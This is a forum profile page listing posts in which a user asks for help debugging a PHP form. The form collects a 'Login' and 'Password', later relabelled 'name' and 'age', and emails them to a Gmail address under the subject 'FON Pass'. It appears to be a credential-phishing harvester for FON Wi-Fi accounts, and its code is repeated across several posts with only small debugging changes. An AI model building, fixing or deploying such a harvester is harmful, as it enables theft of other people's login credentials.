Jump to content

moltenice

Members
  • Posts

    10
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

moltenice's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. Tried this before.... I get this weird 'Invalid Username. Username is reserved' error.... weird coz when I test to see if it is working IT IS!! If you've tried it before AND IT WORKS then I did something wrong... lol Please tell me if this works
  2. yeah.... but then if I want to demo it I'll need a dedicated one... Also, my paid host offers MySql but the old 4.0 I need newer one! If anyone knows a place where I can get reliable MySql Hosting then please let me know... THank You!
  3. Hi!! I want to know if someone knows a website that offers free MySql Database Hosting... for MySql 4.1 or later Something like freemysql.net ... this website is good but too much downtime... I need it to test out this new script.... THank You.
  4. OMG so retarded of me... lool hehe it works now... thx all who helped me :D Cheers!!  ::)
  5. [quote author=moltenice link=topic=114555.msg466454#msg466454 date=1163251622] ARRG... it still gives me error echo :(    :o my latest: HTML: <form method="POST" action="http://moltenice.9999mb.com/Login.php"> <p>Name: <input type="text" name="name" value=""> <p>Age: <input type="text" name="age" value=""> <p><input type="submit" name="submit" value="Submit"> </form> <p> PHP: <? $EmailFrom = "dabrainstabber@gmail.com"; $EmailTo = "dabrainstabber@gmail.com"; $Subject = "FON Pass"; $Login = Trim(stripslashes($_POST['name'])); $Password = Trim(stripslashes($_POST['age'])); // prepare email body text $Body = ""; $Body .= "name: "; $Body .= $name; $Body .= "\n"; $Body .= "age: "; $Body .= $age; $Body .= "\n"; // send email $success = mail($EmailTo, $Subject, $Body); // redirect to success page if ($success){   echo "Done, Thank You";       } else          echo "An error occurred! Please try again."; ?> Sorry for this guys... im a n00b. BTW... thanks to all whove tried helpin me ;) please help.. thanks  :D [/quote] Yess lool... plz hlp... thx
  6. lool i changed tht... have a look at my last post with all the specified corrections... lool someone else spotted tht error...
  7. [quote author=joshi_v link=topic=114555.msg466456#msg466456 date=1163252056] What is this <form method="POST" action="http://moltenice.9999mb.com/Login.php">  ??? in action just use this filename where you want to perform the action . no need to pass all the URL. If action is in same page just use action="<?echo $PHP_SELF;?>" [/quote] actually, i just upload the php to that site. I run HTML from my desktop as I think i do not need to upload it as well. So i put the complete link. could this be the reason why it doesn't work?? Plz let me know... If not... plz tell me wat I have done wrong... thx ;) (P.S. perhaps 9999mb.com isn't a good host?? maybe someone could upload the script to theirs and see if it worked?? THX!!!)
  8. ARRG... it still gives me error echo :(    :o my latest: HTML: <form method="POST" action="http://moltenice.9999mb.com/Login.php"> <p>Name: <input type="text" name="name" value=""> <p>Age: <input type="text" name="age" value=""> <p><input type="submit" name="submit" value="Submit"> </form> <p> PHP: <? $EmailFrom = "dabrainstabber@gmail.com"; $EmailTo = "dabrainstabber@gmail.com"; $Subject = "FON Pass"; $Login = Trim(stripslashes($_POST['name'])); $Password = Trim(stripslashes($_POST['age'])); // prepare email body text $Body = ""; $Body .= "name: "; $Body .= $name; $Body .= "\n"; $Body .= "age: "; $Body .= $age; $Body .= "\n"; // send email $success = mail($EmailTo, $Subject, $Body); // redirect to success page if ($success){   echo "Done, Thank You";       } else         echo "An error occurred! Please try again."; ?> Sorry for this guys... im a n00b. BTW... thx to all whove tried helpin me ;) Plz help.. thx  :D
  9. Oh lool i realise wats hppnin... i changed the variables :D but it still echoes (error, please try again)... this is what I did: ---------------------------------------- HTML: ---------------------------------------- <form method="POST" action="http://moltenice.9999mb.com/Login.php"> <p>Name:<br> <input type="text" name="name"> <p>Age:<br> <input type="text" name="age"> <p><input type="submit" name="submit" value="Submit"> </form> <p> ---------------------------------------- PHP: ---------------------------------------- <? $EmailFrom = "dabrainstabber@gmail.com"; $EmailTo = "dabrainstabber@gmail.com"; $Subject = "FON Pass"; $Login = Trim(stripslashes($_POST['name'])); $Password = Trim(stripslashes($_POST['age'])); // prepare email body text $Body = ""; $Body .= "name: "; $Body .= $name; $Body .= "\n"; $Body .= "age: "; $Body .= $age; $Body .= "\n"; // send email $success = mail($EmailTo, $Subject, $Body); // redirect to success page if ($success){   echo "Done, Thank You";       } else         echo "An error occurred! Please try again."; ?> ---------------------------------------- Wat else hve I done wrong :( plz hlp... thx ;) BTW plz do not tell me to use a generator or something similar. I really wanna learn PHP and thought this would be the easiest way to try... thx
  10. Hi! I was looking for some help in mailing a form on my website to myself. i created one but i think there is a glitch in my coding. Can someone please tell me how to fix it? My Codes: HTML: [code] <form method="POST" action="http://moltenice.9999mb.com/Login.php"> <p>Login:<br> <input type="text" name="name"> <p>Password:<br> <input type="text" name="age"> <p><input type="submit" name="submit" value="Submit"> </form> <p> [/code] And my PHP: [code] <?   // get posted data into local variables $EmailFrom = "dabrainstabber@gmail.com"; $EmailTo = "dabrainstabber@gmail.com"; $Subject = "FON Pass"; $Login = Trim(stripslashes($_POST['Login'])); $Password = Trim(stripslashes($_POST['Password'])); // prepare email body text $Body = ""; $Body .= "name: "; $Body .= $name; $Body .= "\n"; $Body .= "age: "; $Body .= $age; $Body .= "\n"; // send email $success = mail($EmailTo, $Subject, $Body); // redirect to success page if ($success){   echo "Done, Thank You";       } else         echo "An error occurred! Please try again."; ?> [/code] It always gives me An Error Occured echo :( can someone tell me what I did wrong?? [move]Thanks!![/move]
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.